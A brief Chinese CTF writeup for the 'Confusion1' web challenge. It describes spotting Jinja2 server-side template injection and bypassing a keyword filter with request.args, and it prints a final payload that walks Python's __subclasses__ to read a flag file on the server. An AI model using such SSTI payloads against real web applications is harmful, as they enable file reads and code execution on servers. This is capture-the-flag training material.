前言
继续ctf的旅程
开始攻防世界web高手进阶区的7分题
本文是Confusion1的writeup
解题过程
进来的界面如下
(后来知道是php vs python的意思,也就是给提示跟python有关)
惯例源码和御剑
没有东西发现
点击register
报错
不过在源码里有提示
给出了flag的位置
点击login也是类似的情况
这没有信息了
想了好一会儿
猜测是SSTI
测试
输入{
{7*7}}
返回如下:
确认是SSTI
输入{
{ 7*'7' }}
返回如下:
应该是Jinja2或Twig
尝试绕过
最常用的{
{''.__class__.__mro__[2].__subclasses__()}}
这应该是过滤了啥
(后来发现是过滤了 class、 subclasses、 read等关键词)
尝试{
{url_for.__globals__}}
似乎是权限问题?
看眼{
{config}}
尝试request
{
{
''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
有了
request可以用
那就简单了
最终payload
{
{
''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
获取flag
结语
这题就是SSTI
不过提示很隐晦
- 开始的蛇吞象==python干掉php
- 所以是python的SSTI
一些SSTI的链接如下